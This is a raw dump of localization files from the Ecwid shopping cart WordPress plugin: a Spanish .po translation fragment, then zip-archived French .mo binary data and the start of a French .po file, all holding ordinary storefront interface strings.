templates/admin/storefront/area-status.php:86 msgid "Your store page is published. Customers can browse your store at " msgstr "La página de su tienda está publicada. Los clientes pueden visitar su tienda en " #: templates/admin/storefront/area-status.php:77 msgid "View demo store page" msgstr "Ver la página de la tienda de demostración" #: templates/admin/storefront/area-status.php:46 msgid "Draft" msgstr "Borrador" #: templates/admin/storefront/area-status.php:45 msgid "Published" msgstr "Publicada" #: templates/admin/storefront/area-status.php:33 #: templates/admin/storefront/area-status.php:36 msgid "Status" msgstr "Estado" #: templates/admin/storefront/area-status.php:29 msgid "Add a store page" msgstr "Añadir una página de tienda" #: templates/admin/storefront/area-status.php:24 msgid "Connect your %s store" msgstr "Conecte su tienda de %s" #: templates/admin/storefront/area-status.php:21 msgid "Your store page" msgstr "La página de su tienda" #: templates/admin/storefront/area-status.php:10 msgid "To start selling, add a page to your site where the storefront will display." msgstr "Para comenzar a vender, añada una página a su sitio web donde se muestre el escaparate virtual." #: templates/admin/storefront/area-status.php:7 msgid "While your store is not connected, a demo store displays on your site. Check it to get the idea of how your store may look on the site." msgstr "Mientras su tienda aún no esté conectada, se mostrará una tienda de demostración en su sitio web. Échele un vistazo para tener una idea de cómo se verá su tienda en el sitio web." #: templates/admin/storefront/area-status.php:4 msgid "Store page on your site" msgstr "Página de la tienda en su sitio web" #: templates/admin/storefront/area-navigation.php:205 msgid "The shopping cart icon shows the number of items in the cart and helps customers proceed to the checkout. Additionally, you can <a href=\"%s\" target=\"_blank\">adjust the cart icon appearance</a>." msgstr "El icono del carrito de compras muestra la cantidad de artículos en el carrito y ayuda a los clientes a realizar el pago. Además, puede <a href=\"%s\" target=\"_blank\">ajustar la apariencia del icono del carrito</a>." #: templates/admin/storefront/area-navigation.php:201 msgid "Display the shopping cart icon on site pages" msgstr "Muestre el icono del carrito de compras en las páginas del sitio web" #: templates/admin/storefront/area-navigation.php:179 msgid "Manage Sidebar" msgstr "Gestionar la barra lateral" #: templates/admin/storefront/area-navigation.php:175 msgid "Highlight your best sellers or new products in the website sidebar." msgstr "Destaque sus mejores ventas o nuevos productos en la barra lateral del sitio web." #: templates/admin/storefront/area-navigation.php:173 msgid "Feature your products in the sidebar" msgstr "Destaque sus productos en la barra lateral" #: templates/admin/storefront/area-navigation.php:151 msgid "Add Store Page to Menu" msgstr "Añadir la página de la tienda al menú" #: templates/admin/storefront/area-navigation.php:147 msgid "Make your store accessible from the site menu so your customers can easily find it." msgstr "Haga que su tienda sea accesible desde el menú del sitio web para que sus clientes puedan encontrarla fácilmente." #: templates/admin/storefront/area-navigation.php:141 msgid "Add store page to the site menu" msgstr "Añadir la página de la tienda al menú del sitio web" #: templates/admin/storefront/area-navigation.php:118 msgid "Edit URL Slug" msgstr "Editar «slug» de la dirección URL" #: templates/admin/storefront/area-navigation.php:102 msgid "Current URL slug: /<span data-ec-store-slug>%s</span>" msgstr "«Slug» actual de la dirección URL: /<span data-ec-store-slug>%s</span>" #: templates/admin/storefront/area-navigation.php:78 msgid "Save" msgstr "Guardar" #: templates/admin/storefront/area-navigation.php:69 msgid "URL Slug" msgstr "«Slug» de la dirección URL" #: templates/admin/storefront/area-navigation.php:60 #: templates/admin/storefront/area-navigation.php:113 msgid "A slug is the last part of a URL. You can create a custom slug for your store page. It’s better to keep it short since customers and search engines prefer short URLs. For example, use \"/shop\" or \"/products\"." msgstr "Un «slug» es la última parte de una URL. Puede crear un «slug» personalizado para la página de su tienda. Es mejor que sea corto, ya que los clientes y los motores de búsqueda prefieren las URL cortas. Por ejemplo, utilice «/tienda» o «/productos»." #: templates/admin/storefront/area-navigation.php:56 #: templates/admin/storefront/area-navigation.php:98 msgid "Customize store page address" msgstr "Personalizar la dirección de la página de la tienda" #: templates/admin/storefront/area-navigation.php:29 msgid "Add your storefront to the website home page to make it more prominent. You can also tweak the site home page settings in <a href=\"%s\" target=\"_blank\">WordPress Settings > Reading</a>" msgstr "Añada su escaparate virtual a la página de inicio del sitio web para que sea más notable. También puede modificar la configuración de la página de inicio del sitio web en <a href=\"%s\" target=\"_blank\">Configuración de WordPress > Lectura</a>." #: templates/admin/storefront/area-navigation.php:21 msgid "Show your store on the home page" msgstr "Muestre su tienda en la página de inicio" #: templates/admin/storefront/area-navigation.php:4 msgid "Help customers find your store on the website." msgstr "Ayude a los clientes a encontrar su tienda en el sitio web." #: templates/admin/storefront/area-navigation.php:3 msgid "Navigation" msgstr "Navegación" #: templates/admin/welcome-no_oauth.php:12 msgid "Store ID is a unique identifier of your %1$s account. You can find it in your %1$s control panel on the <a %2$s>Dashboard page</a>." msgstr "El ID de la tienda es un identificador único de su cuenta de %1$s. Puede encontrarlo en su panel de control de %1$s en la <a %2$s>página del panel</a>." #: templates/admin/welcome-create.php:11 msgid "Your store has been created. Preparing your store dashboard ..." msgstr "Se ha creado su tienda. Preparando el panel de su tienda..." #: templates/admin/welcome-connect.php:8 msgid "Create store" msgstr "Crear tienda" #: templates/admin/welcome-connect.php:4 msgid "Connect Your Store" msgstr "Conecte su tienda" #: templates/admin/welcome-page.php:61 msgid "Provided by <a %s>%s</a>" msgstr "Proporcionado por <a %s>%s</a>" #: templates/admin/welcome-page.php:33 msgid "To add your store to your website, put your %1$s Store ID in the field below. If you don't have an %1$s account yet, create one for free on the <a %2$s>%1$s website</a>." msgstr "Para añadir su tienda a su sitio web, introduzca el ID de su tienda de %1$s en el campo a continuación. Si aún no tiene una cuenta de %1$s, cree una gratis en el <a %2$s>sitio web de %1$s</a>." #: templates/admin/welcome-page.php:20 msgid "Create a new store or connect an existing one, if you already have an %s account. The plugin will guide you through store setup and help publish it on your website." msgstr "Cree una nueva tienda o, si ya tiene una cuenta de %s, conéctela. El complemento le guiará a través de la configuración de la tienda y le ayudará a publicarla en su sitio web." #: templates/admin/welcome-page.php:12 msgid "Add an Online Store to Your Website" msgstr "Añadir una tienda en línea a su sitio web" #: includes/class-ecwid-store-page.php:566 msgid "This is a demo store. Create your store to see your store products here." msgstr "Esto es una tienda de demostración. Cree su tienda para ver los productos de su tienda aquí." #: includes/class-ecwid-admin-storefront-page.php:539 msgid "Publish" msgstr "Publicar" #: templates/admin/storefront/area-design.php:33 #: templates/admin/storefront/area-design.php:59 #: includes/class-ecwid-admin-storefront-page.php:532 msgid "Edit" msgstr "Editar" #: includes/class-ecwid-admin-storefront-page.php:525 msgid "Preview" msgstr "Vista previa" #: includes/class-ecwid-admin-storefront-page.php:516 msgid "Switch to draft" msgstr "Cambiar al borrador" #: includes/class-ecwid-admin-storefront-page.php:506 msgid "Edit page" msgstr "Editar página" #: includes/class-ecwid-admin-storefront-page.php:499 msgid "View store page" msgstr "Ver la página de la tienda" #: includes/class-ecwid-admin-storefront-page.php:286 msgid "Search products" msgstr "Buscar productos" #: includes/class-ecwid-admin-storefront-page.php:265 msgid "Category" msgstr "Categoría" #: includes/class-ecwid-admin-storefront-page.php:240 msgid "Page with that name already exists." msgstr "Ya existe una página con ese nombre." #: includes/class-ecwid-admin.php:538 msgid "My Profile" msgstr "Mi perfil" #: includes/class-ecwid-admin.php:533 msgid "Apps" msgstr "Aplicaciones" #: includes/class-ecwid-admin.php:523 msgid "Shipping & Pickup" msgstr "Envío y recogida" #: includes/class-ecwid-admin.php:518 msgid "Payment" msgstr "Pago" #: includes/class-ecwid-admin.php:513 #: includes/integrations/elementor/class-ec-elementor-widget-store.php:88 msgid "Design" msgstr "Diseño" #: includes/class-ecwid-admin.php:509 msgid "Configuration" msgstr "Configuración" #: includes/class-ecwid-admin.php:504 msgid "All Sales Channels" msgstr "Todos los canales de venta" #: includes/class-ecwid-admin.php:499 msgid "Website" msgstr "Sitio web" #: includes/class-ecwid-admin.php:494 msgid "Mobile" msgstr "Móvil" #: includes/class-ecwid-admin.php:485 msgid "Sales channels" msgstr "Canales de venta" #: includes/class-ecwid-admin.php:480 msgid "Reports" msgstr "Informes" #: includes/class-ecwid-admin.php:475 msgid "Marketing" msgstr "Mercadotecnia" #: includes/class-ecwid-admin.php:470 msgid "Catalog" msgstr "Catálogo" #: includes/class-ecwid-admin.php:465 msgid "My Sales" msgstr "Mis ventas" #: includes/class-ecwid-admin.php:455 msgid "Store management" msgstr "Gestión de la tienda" #: includes/class-ecwid-admin.php:344 msgid "Instant site" msgstr "Sitio web instantáneo" #: includes/class-ecwid-admin.php:153 includes/class-ecwid-admin.php:154 #: includes/class-ecwid-admin.php:309 msgid "Storefront" msgstr "Escaparate virtual" #: ecwid-shopping-cart.php:1111 msgid "Manage storefront" msgstr "Gestionar escaparate virtual" #: ecwid-shopping-cart.php:1111 msgid "Customize design" msgstr "Personalizar el diseño" #: ecwid-shopping-cart.php:1103 msgid "Manage store" msgstr "Gestionar la tienda" #: templates/importer/woo-main.tpl.php:97 msgid "Start Import" msgstr "Iniciar la importación" #: templates/importer/woo-main.tpl.php:87 msgid "Please mind the maximum number of products and categories you can have in your Ecwid store. This import tool will automatically stop when the store products limit is reached. To check the current store limit or increase it, please see the <nobr><a %s target=\"_blank\">\"Billing & Plans\"</a></nobr> page in your Ecwid store control panel." msgstr "Tenga en cuenta el número máximo de productos y categorías que puede tener en su tienda de Ecwid. Esta herramienta de importación se detendrá automáticamente cuando se alcance el límite de productos de la tienda. Para conocer el límite actual de la tienda o aumentarlo, consulte la página <nobr><a %s target=\"_blank\">«Facturación y planes»</a></nobr> ubicada en el panel de su tienda de Ecwid." #: templates/importer/woo-main.tpl.php:82 msgid "Import creates new products and update the existing products with matching SKUs." msgstr "La importación crea nuevos productos y actualiza los productos existentes con las REF correspondientes." #: templates/importer/woo-main.tpl.php:60 msgid "Copying products and categories." msgstr "Copia de productos y categorías." #: templates/importer/woo-main.tpl.php:50 msgid "Import completed. <a href=\"%s\">Run again.</a>" msgstr "Importación completada. <a href=\"%s\">Ejecútela de nuevo.</a>" #: templates/importer/woo-main.tpl.php:34 msgid "Import is in Progress" msgstr "La importación está en progreso" #: templates/importer/woo-main.tpl.php:32 msgid "Import your products from Woocommerce to %s" msgstr "Importe sus productos de Woocommerce a %s" #: templates/importer/woo-main.tpl.php:18 msgid "Update your catalog" msgstr "Actualice su catálogo" #: templates/importer/woo-main.tpl.php:4 msgid "Import Your Products From Woocommerce to %s" msgstr "Importe sus productos de Woocommerce a %s" #: templates/importer/import-no-token.tpl.php:3 msgid "Click the connect button to get rights to update the product catalog" msgstr "Haga clic en el botón «Conectar» para obtener los permisos para actualizar el catálogo de productos" #: templates/importer/woo-complete-alert.tpl.php:52 msgid "Go to Your %s Products" msgstr "Ir a sus productos de %s" #: templates/importer/woo-complete-alert.tpl.php:43 msgid "Download <a href=\"%s\">import log</a>" msgstr "Descargar <a href=\"%s\">registro de importación</a>" #: templates/importer/woo-complete-alert.tpl.php:32 msgid "Part of the products have not been copied to %1$s, because you reached the products limit on your pricing plan in %1$s. If you want to import more products, please consider <nobr><a %2$s>upgrading your %1$s plan.</a></nobr>" msgstr "Parte de los productos no se han copiado a %1$s porque alcanzó el límite de productos en su plan de precios en %1$s. Si desea importar más productos, considere <nobr><a %2$s>actualizar su plan de %1$s.</a></nobr>" #: templates/importer/woo-complete-alert.tpl.php:21 msgid "<b>%s</b> categories" msgstr "<b>%s</b> categorías" #: templates/importer/woo-complete-alert.tpl.php:18 msgid "Imported <b>%s</b> products" msgstr "<b>%s</b> productos importados" #: templates/importer/woo-complete-alert.tpl.php:15 msgid "Import completed" msgstr "Importación completada" #: includes/integrations/elementor/class-ec-elementor-widget-store.php:10 #: includes/widgets/class-ecwid-widget-product-browser.php:12 msgid "Online store" msgstr "Tienda en línea" #: includes/class-ecwid-store-page.php:476 msgid "%s Store Page" msgstr "Página de la tienda de %s" #: templates/advanced-settings.php:79 msgid "Integration with search on your site" msgstr "Integración con la búsqueda en su sitio web" #: templates/sync.php:130 msgid "Deleted products synchronized: %1$s out of %2$s" msgstr "Productos eliminados sincronizados: %1$s de %2$s" #: includes/class-ecwid-custom-admin-page.php:66 msgid "Themes for Ecwid" msgstr "Temas para Ecwid" #: includes/class-ecwid-custom-admin-page.php:33 msgid "Plugins for Ecwid" msgstr "Complementos para Ecwid" #: includes/class-ecwid-popup-deactivate.php:138 msgid "I use this WordPress theme: %s" msgstr "Utilizo este tema de WordPress: %s" #: includes/class-ecwid-popup-deactivate.php:132 msgid "I couldn’t find a WordPress theme that goes well with %s" msgstr "No pude encontrar un tema de WordPress adecuado para %s" #: includes/class-ecwid-product-browser.php:357 msgid "On the right" msgstr "A la derecha" #: includes/class-ecwid-product-browser.php:353 msgid "On the left" msgstr "A la izquierda" #: includes/class-ecwid-product-browser.php:349 msgid "Filters panel position" msgstr "Posición del panel de filtros" #: includes/class-ecwid-product-browser.php:209 msgid "Default product_ID" msgstr "ID del producto predeterminado" #: includes/gutenberg/class-ecwid-gutenberg-block-minicart.php:73 msgid "Cart icon" msgstr "Icono del carrito de compras" #: templates/shortcode-stub-store.tpl.php:4 #: includes/gutenberg/class-ecwid-gutenberg-block-store.php:20 #: js/gutenberg/blocks.build.js:1 msgid "Store Home Page" msgstr "Página de inicio de la tienda" #: ecwid-shopping-cart.php:431 msgid "Edit Category" msgstr "Editar categoría" #: ecwid-shopping-cart.php:430 msgid "Edit Product" msgstr "Editar producto" #: includes/class-ecwid-admin.php:142 includes/class-ecwid-admin.php:143 msgid "Online Store Apps" msgstr "Aplicaciones de la tienda en línea" #. Plugin Name of the plugin msgid "Ecwid Ecommerce Shopping Cart" msgstr "Carrito de compras del comercio electrónico de Ecwid" #: includes/class-ecwid-custom-admin-page.php:58 includes/faq_entries.php:76 msgid "Ecwid is compatible with any WordPress theme. Be it a free theme from WordPress.org catalog, a premium theme by a third-party vendor or a custom-made theme, your Ecwid store will work good with it. If you want a premium theme, we recommend <a href=\"%s\">TemplateMonster themes</a>" msgstr "Ecwid es compatible con cualquier tema de WordPress. Ya sea un tema gratuito del catálogo de WordPress.org, un tema prémium de un proveedor externo o un tema personalizado; su tienda de Ecwid funcionará bien con cualquiera de ellos. Si desea un tema prémium, le recomendamos <a href=\"%s\">temas de TemplateMonster</a>." #: includes/faq_entries.php:74 msgid "Is there a WordPress theme for Ecwid?" msgstr "¿Existe algún tema de WordPress para Ecwid?" #: templates/admin-footer.php:19 msgid "<a href=\"admin.php?page=" msgstr "<a href=\"admin.php?page=" #: includes/integrations/class-ecwid-integration-gutenberg.php:113 #: includes/gutenberg/class-ecwid-gutenberg-block-store.php:25 msgid "You can enable an extra shopping bag icon widget that will appear on your site pages. Open “<a href=\"%1$s\">Appearance → Customize → %2$s</a>†menu to enable it." msgstr "Puede habilitar un «widget» adicional del icono de la bolsa de compras que aparecerá en las páginas de su sitio web. Abra el menú «<a href=\"%1$s\">Apariencia → Personalizar → %2$s</a>» para habilitarlo." #: includes/integrations/class-ecwid-integration-gutenberg.php:85 #: includes/gutenberg/class-ecwid-gutenberg-block-store.php:18 msgctxt "gutenberg-store-block-stub" msgid "Store" msgstr "Tienda" #: includes/class-ecwid-product-browser.php:472 msgid "Image feed" msgstr "Canal de imagen" #: includes/class-ecwid-product-browser.php:467 msgid "Vertical thumbnails" msgstr "Miniaturas verticales" #: includes/class-ecwid-product-browser.php:462 msgid "Horizontal thumbnails" msgstr "Miniaturas horizontales" #: includes/class-ecwid-product-browser.php:452 msgid "3 columns, image on the right" msgstr "3 columnas, imagen a la derecha" #: includes/class-ecwid-product-browser.php:448 msgid "3 columns, image on the left" msgstr "3 columnas, imagen a la izquierda" #: includes/class-ecwid-product-browser.php:444 msgid "2 columns, image on the right" msgstr "2 columnas, imagen a la derecha" #: includes/class-ecwid-product-browser.php:440 msgid "2 columns, image on the left" msgstr "2 columnas, imagen a la izquierda" #: includes/class-ecwid-product-browser.php:429 msgid "Landscape 3:2" msgstr "Horizontal 3:2" #: includes/class-ecwid-product-browser.php:424 msgid "Landscape 4:3" msgstr "Horizontal 4:3" #: includes/class-ecwid-product-browser.php:419 msgid "Square 1:1" msgstr "Cuadrado 1:1" #: includes/class-ecwid-product-browser.php:414 msgid "Portrait 3:4" msgstr "Vertical 3:4" #: includes/class-ecwid-product-browser.php:409 msgid "Portrait 2:3" msgstr "Vertical 2:3" #: includes/class-ecwid-product-browser.php:399 msgid "L" msgstr "G" #: includes/class-ecwid-product-browser.php:395 msgid "M" msgstr "M" #: includes/class-ecwid-product-browser.php:391 msgid "S" msgstr "P" #: includes/class-ecwid-product-browser.php:381 msgid "Show on hover" msgstr "Mostrar al pasar el ratón" #: includes/class-ecwid-product-browser.php:377 msgid "Hide" msgstr "Ocultar" #: includes/class-ecwid-product-browser.php:373 msgid "Show" msgstr "Mostrar" #: includes/class-ecwid-product-browser.php:342 msgid "Background color" msgstr "Color del fondo" #: includes/class-ecwid-product-browser.php:335 msgid "Link color" msgstr "Color del enlace" #: includes/class-ecwid-product-browser.php:328 msgid "Price color" msgstr "Color del precio" #: includes/class-ecwid-product-browser.php:321 msgid "Text color" msgstr "Color del texto" #: includes/class-ecwid-product-browser.php:314 msgid "Button color" msgstr "Color del botón" #: includes/class-ecwid-product-browser.php:299 msgid "Wholesale prices" msgstr "Precios al por mayor" #: includes/class-ecwid-product-browser.php:292 msgid "\"In stock\" label" msgstr "Etiqueta de productos «En existencia»" #: includes/class-ecwid-product-browser.php:285 msgid "Available qty in stock" msgstr "Cantidad disponible en existencia" #: includes/class-ecwid-product-browser.php:278 msgid "Product quantity" msgstr "Cantidad de productos" #: includes/class-ecwid-product-browser.php:271 msgctxt "product-browser-attributes" msgid "Product price" msgstr "Precio del producto" #: includes/class-ecwid-product-browser.php:264 msgctxt "product-browser-attributes" msgid "Product SKU" msgstr "REF del producto" #: includes/class-ecwid-product-browser.php:257 msgid "Breadcrumbs" msgstr "Migas de pan" #: includes/class-ecwid-product-browser.php:241 msgid "Image gallery layout" msgstr "Diseño de la galería de imágenes" #: includes/integrations/class-ecwid-integration-gutenberg.php:391 #: includes/class-ecwid-product-browser.php:224 #: includes/class-ecwid-product-browser.php:233 #: includes/gutenberg/class-ecwid-gutenberg-block-store.php:212 msgid "Show description under the image" msgstr "Mostrar descripción debajo de la imagen" #: includes/class-ecwid-product-browser.php:216 msgid "Product page layout" msgstr "Diseño de la página de productos" #: includes/class-ecwid-product-browser.php:194 msgid "Display sort by link" msgstr "Mostrar «ordenar por enlace»" #: includes/class-ecwid-product-browser.php:186 #: includes/class-ecwid-product-browser.php:306 msgid "Display sign in link" msgstr "Mostrar el enlace de inicio de sesión" #: includes/class-ecwid-product-browser.php:178 msgid "Display footer menu" msgstr "Mostrar el menú del pie de página" #: includes/class-ecwid-product-browser.php:170 msgid "Display breadcrumbs" msgstr "Mostrar migas de pan" #: includes/class-ecwid-product-browser.php:163 js/gutenberg/blocks.build.js:1 msgid "Display search box" msgstr "Mostrar el cuadro de búsqueda" #: includes/class-ecwid-product-browser.php:156 msgid "Display categories menu" msgstr "Mostrar el menú de categorías" #: includes/class-ecwid-product-browser.php:148 msgid "Category thumbnail aspect ratio" msgstr "Relación de aspecto de la miniatura de la categoría" #: includes/class-ecwid-product-browser.php:140 msgid "Category thumbnail size" msgstr "Tamaño de la miniatura de la categoría" #: includes/class-ecwid-product-browser.php:131 msgid "Image only" msgstr "Solo imagen" #: includes/class-ecwid-product-browser.php:127 msgid "Title only" msgstr "Solo título" #: includes/class-ecwid-product-browser.php:123 msgid "Image and title on mouse over" msgstr "Imagen y título al pasar el ratón por encima" #: includes/class-ecwid-product-browser.php:119 msgid "Title on image" msgstr "Título en la imagen" #: includes/class-ecwid-product-browser.php:115 msgid "Title under image" msgstr "Título debajo de la imagen" #: includes/class-ecwid-product-browser.php:111 msgid "Category card layout" msgstr "Diseño de la ficha de categoría" #: includes/class-ecwid-product-browser.php:103 msgid "Show additional image on hover" msgstr "Mostrar imagen adicional al pasar el ratón" #: includes/class-ecwid-product-browser.php:95 msgid "Buy now buttons" msgstr "Botones de «Comprar ahora»" #: includes/class-ecwid-product-browser.php:87 msgid "Product SKU" msgstr "REF del producto" #: includes/class-ecwid-product-browser.php:79 msgid "Product price" msgstr "Precio del producto" #: includes/class-ecwid-product-browser.php:71 msgid "Product title" msgstr "Título del producto" #: includes/class-ecwid-product-browser.php:61 msgid "Justify" msgstr "Justificado" #: includes/class-ecwid-product-browser.php:56 msgid "Right" msgstr "Derecha" #: includes/class-ecwid-product-browser.php:51 msgid "Center" msgstr "Centrado" #: includes/class-ecwid-product-browser.php:46 msgid "Left" msgstr "Izquierda" #: includes/class-ecwid-product-browser.php:42 msgid "Product card text align" msgstr "El texto de la ficha del producto se alinea" #: includes/class-ecwid-product-browser.php:34 msgid "Show product card border" msgstr "Mostrar el borde de la ficha del producto" #: includes/class-ecwid-product-browser.php:26 msgid "Product thumbnail aspect ratio" msgstr "Relación de aspecto de la miniatura del producto" #: includes/class-ecwid-product-browser.php:18 msgid "Product thumbnail size" msgstr "Tamaño dePK������Ê—[©PvG•(��•(��:��ecwid-shopping-cart/languages/ecwid-shopping-cart-fr_FR.monu�„[µü¤��������Þ•����K������t��e���Ì��-��`�����Ž����������¦�� ���¸�����Ã��/��×����� �����! �� ���2 ��k���@ �����¬ �����Å ��"���Ù ��#���ü ��,��� ��!���M �����o �����€ �����Ÿ ��)���» ��+���å ��(��� �� ���: �����F ��1���` �����’ �����¦ �����À �����Ó �����Ø �����à �����ñ �����ú �� ��� ����� �� ��� ��Þ���% ��%��� ����* ��]���C�����¡�� ���¦�����°�����À�����×�����ô��c�����l���t�����á��W���æ�����>��-���P�� ���~�����‹��T��¥�����ú��������Þ��� �����è�����ü�� �����7��� �����E��œ���e��/��������2�����N��T���_��^���´��7�����;���K�����‡����������µ��T��Ê����������0�����9�� ���L�����V��Ž��l�� ���û����������-��u���B�����¸��$���×��2���ü��8���/��<���h��6���¥�����Ü�����ö�������#���*��&���N��%���u�����›�����ª��<���Ç�� �����&���%��"���L�����o�� ���w����������–�����®�� ���Â�� ���Ð�����Ú����î��)���ö��N�� ��m���o�����Ý�����ã�����ó�� ��� ��!���' �����I ��‰���e ��Œ���ï �����|!��e���ƒ!�����é!��6���"�����:"�����X"��g��u"�����Ý#�����æ#����ú#�� ���%�����6%�����>%��B���P%��)���“%��­���½%��K���k&�����·&�����Ô&��o���ç&��X���W'��;���°'��F���ì'�� ���3(��(���T(�����}(��!���J���������9���D���3���K���������������:������&������F���%���E����������6���B���+����������$������ ���G���"���@������)��������������������C���0��� ��������������#���8����������(���<���?�������,���A�������5������� �������7�������'��� ���;���/���*��� ��������������������������������������������.������������������H���2���1��� ���������>���4������=���-����������I��������������<strong>Ecwid shopping cart is almost ready</strong>. Please visit <a target="_blank" href="%s">the created page</a> to see your store with demo products. In order to finish the installation, please go to the <a href="admin.php?page=ecwid"><strong>Ecwid settings</strong></a> and configure the plugin.�Account status�Advanced�Advanced settings�Appearance�Appearance settings�By default, the storefront shows a list of root categories. You can override this behavior and show a different category when customers open your store for the first time. This is useful if you only have one category or want to display a specific set of items (e.g. "Featured Products") to new visitors.�Category shown by default�Congratulations!�Control panel�Create a new Ecwid account which you will use to manage your store and inventory. The registration is free.�Create new Ecwid account�Default category ID�Default view mode on product pages�Default view mode on search results�Display horizontal categories above products�Display search box above products�Ecwid Search Box�Ecwid Shopping Bag (Mini view)�Ecwid Shopping Bag (Normal)�Ecwid Shopping Cart — Advanced settings�Ecwid Shopping Cart — Appearance settings�Ecwid Shopping Cart — General settings�Ecwid Store�Ecwid Vertical Categories�Enable minicart attached to horizontal categories�Enter your Store ID�Enter your Store ID here:�Find your Store ID�Free�General�General settings�Get help�Go to Ecwid site�Greetings!�Grid�Grid view�Here you can control how many products will be displayed per page. These options define maximum values. If there is not enough space to show all product columns, Ecwid will adapt the number of columns to hold all products.�I already have Ecwid account, sign in�In order to enable this feature, opt to use a secret key. You will find this key in your Ecwid control panel, at "System Settings > API > Single Sign-On API" page. This feature is available for <a href="http://www.ecwid.com/compare-plans.html" target="_blank">paid users</a> only.�In order to set this option, <a %s>find an ID of the necessary category</a> and save it here.�List�List view�Manage my store�Manage plugin settings�Number of categories per row�Number of products per page�Or you can add search box to your website's toolbar using <a href="%s">WordPress native widgets</a>�Or you can add vertical categories to your website's toolbar using <a href="%s">WordPress native widgets</a>�Paid�Questions? Visit <a href="http://help.ecwid.com/?source=wporg">Ecwid support center</a>�Register at Ecwid�Save and connect your Ecwid store to the site�Save changes�Single Sign-On Secret Key�Single Sign-On Secret Key is an option that allows your customers access to your WordPress site as well as the Ecwid shopping cart. When customers log in to your site, they will automatically be logged in to your Ecwid store as well. It makes sense to enable this feature if your visitors actually create accounts in your WordPress website.�Store�Store ID�Store ID is a unique identifier of any Ecwid store, it consists of several digits. You can find it on the "Dashboard" page of Ecwid control panel. Also the Store ID will be sent in the Welcome email after the registration.�Store root category�Table�Table view�Thank you for choosing Ecwid to build your online store�Thank you for supporting Ecwid!�The first step towards opening your online business: <br />Let’s get started and add a store to your WordPress website in <strong>3</strong> simple steps.�Upgrade to get access to cool premium features.�Vertical menu of categories�Visit storefront�You should disable this option, if you added minicart to your website's sidebar�You will be able to sign up through your existing Google, Facebook or PayPal profiles as well.�Your Ecwid store is connected to your WordPress website�Your Ecwid store is now connected to your WordPress website�Your store's minicart�Your store's search box�→ Sell on Facebook�<strong>Le panier virtuel Ecwid est quasiment prêt</strong>. Veuillez visiter <a target="_blank" href="%s">la page créée</a> pour voir votre boutique et des produits de démonstration. Afin de terminer l'installation, veuillez naviguer vers les <a href="admin.php?page=ecwid"><strong>réglages Ecwid</strong></a> et configurer le plugin.�Statut du compte�Avancés�Réglages avancés�Apparence�Réglages d'apparence�Par défaut, la vitrine présente une liste de catégories racines. Vous pouvez changer ce comportement et afficher une catégorie différente lorsque les clients accèdent à votre boutique pour la première fois. Cette fonction est pratique lorsque vous n'avez qu'une seule catégorie ou si vous souhaitez afficher une gamme spécifique d'articles (par ex. "Produits Phares") à tous vos clients.�Catégorie affichée par défaut�Félicitations !�Panneau de contrôle�Créez un nouveau compte Ecwid afin de pouvoir gérer votre boutique et votre inventaire. L'inscription est gratuite.�Créer un nouveau compte Ecwid�Numéro de la catégorie par défaut�Mode d'affichage par défaut des pages de produits�Mode d'affichage par défaut des résultats de recherche�Afficher les catégories horizontales au-dessus des produits�Afficher la boîte de recherche au-dessus des produits�Boîte de Recherche Ecwid�Le Panier Ecwid (Mini-vue)�Le Panier Ecwid (Normal)�Panier Ecwid — Réglages avancés�Panier Ecwid — Réglages d'apparence�Panier Ecwid — Réglages généraux�Boutique Ecwid�Catégories Verticales Ecwid�Activer le mini-panier attaché aux catégories horizontales�Entrer votre Numéro de Boutique�Entrez votre Numéro de Boutique ici :�Trouver votre Numéro de Boutique.�Gratuit�Général�Réglages généraux�Obtenir de l'assistance�Aller au site Ecwid�Salutations !�Vignettes�Affichage Vignettes�Vous pouvez contrôler ici le nombre de produits affichés par page. Ces options définissent des valeurs maximales. S'il n'y pas assez de place pour afficher toutes les colonnes de produits, Ecwid modifiera le nombre de colonnes pour conserver tous les produits.�J'ai déjà un compte Ecwid, se connecter�Afin d'activer cette fonction vous devez soumettre une clé secrète. Vous trouverez cette clé dans votre panneau de contrôle Ecwid, sur la page "Paramètres Système > API > Single Sign-on API". Cette fonction n'est disponible que pour les <a href="http://www.ecwid.com/compare-plans.html" target="_blank">utilisateurs payants</a>.�Afin de régler cette option, <a %s>trouvez le numéro de catégorie nécessaire</a> puis sauvegardez-le ici.�Liste�Affichage Liste�Gérer ma boutique�Gérer mes paramètres de plugin�Nombre de catégories par rangée�Nombre de produits par page�Vous pouvez aussi ajouter une boîte de recherche à la barre d'outils de votre site via les <a href="%s">widgets natifs de WordPress</a>�Vous pouvez aussi ajouter des catégories verticales à la barre d'outils de votre site via les <a href="%s">widgets natifs de WordPress</a>�Payant�Des questions? Visitez le <a href="http://help.ecwid.com/?source=wporg">centre d'assistance Ecwid</a>�Inscrivez-vous chez Ecwid�Sauvegardez et connectez votre boutique Ecwid au site.�Sauvegarder les modifications�Clé Secrète Single Sign-on�Cette fonction optionnelle permet d'activer Single Sign-on : lorsque les clients sont authentifiés sur votre site, ils sont automatiquement connectés à votre boutique Ecwid, même s'ils n'avaient pas auparavant de compte dans la boutique. Il est logique d'activer cette fonction lorsque vos visiteurs créent typiquement un compte sur votre site WordPress.�Boutique�Numéro de Boutique�Le Numéro de Boutique est le code unique de votre boutique Ecwid, il est constitué de plusieurs chiffres. Vous pouvez le trouver sur la page "Tableau de Bord" du panneau de contrôle d'Ecwid. Le Numéro de Boutique sera aussi envoyé dans l'email de bienvenu après l'inscription.�Catégorie racine de la boutique�Tableau�Affichage Tableau�Merci d'avoir choisi Ecwid pour construire votre boutique en ligne�Merci pour le soutien apporté à Ecwid !�La première étape vers l'ouverture de votre commerce en ligne : <br />Lançons-nous et ajoutons une boutique à votre site WordPress en <strong>3</strong> étapes faciles.�Surclassez votre compte pour accéder à de super fonctionnalités premium.�Menu vertical de catégories�Visiter la vitrine�Cette option devrait être désactivée si vous avez ajouté un mini-panier à la barre latérale de votre site�Vous pourrez aussi vous connecter avec vos comptes Google, Facebook ou PayPal existants.�Votre boutique Ecwid est connectée à votre site WordPress�Votre boutique Ecwid est maintenant connectée à votre site WordPress�Le mini-panier de votre boutique�La boîte de recherche de votre boutique�→ Vendre sur Facebook�PK������Ê—[­„\Bõ*��õ*��:��ecwid-shopping-cart/languages/ecwid-shopping-cart-fr_FR.ponu�„[µü¤�������� msgid "Ecwid Shopping Cart" msgstr "" msgid "Ecwid is a free full-featured shopping cart. It can be easily integrated with any Wordpress blog and takes less than 5 minutes to set up." msgstr "" msgid "Ecwid Team" msgstr "" msgid "Get help" msgstr "Obtenir de l'assistance" msgid "Go to Ecwid site" msgstr "Aller au site Ecwid" msgid "Visit storefront" msgstr "Visiter la vitrine" msgid "Manage my store" msgstr 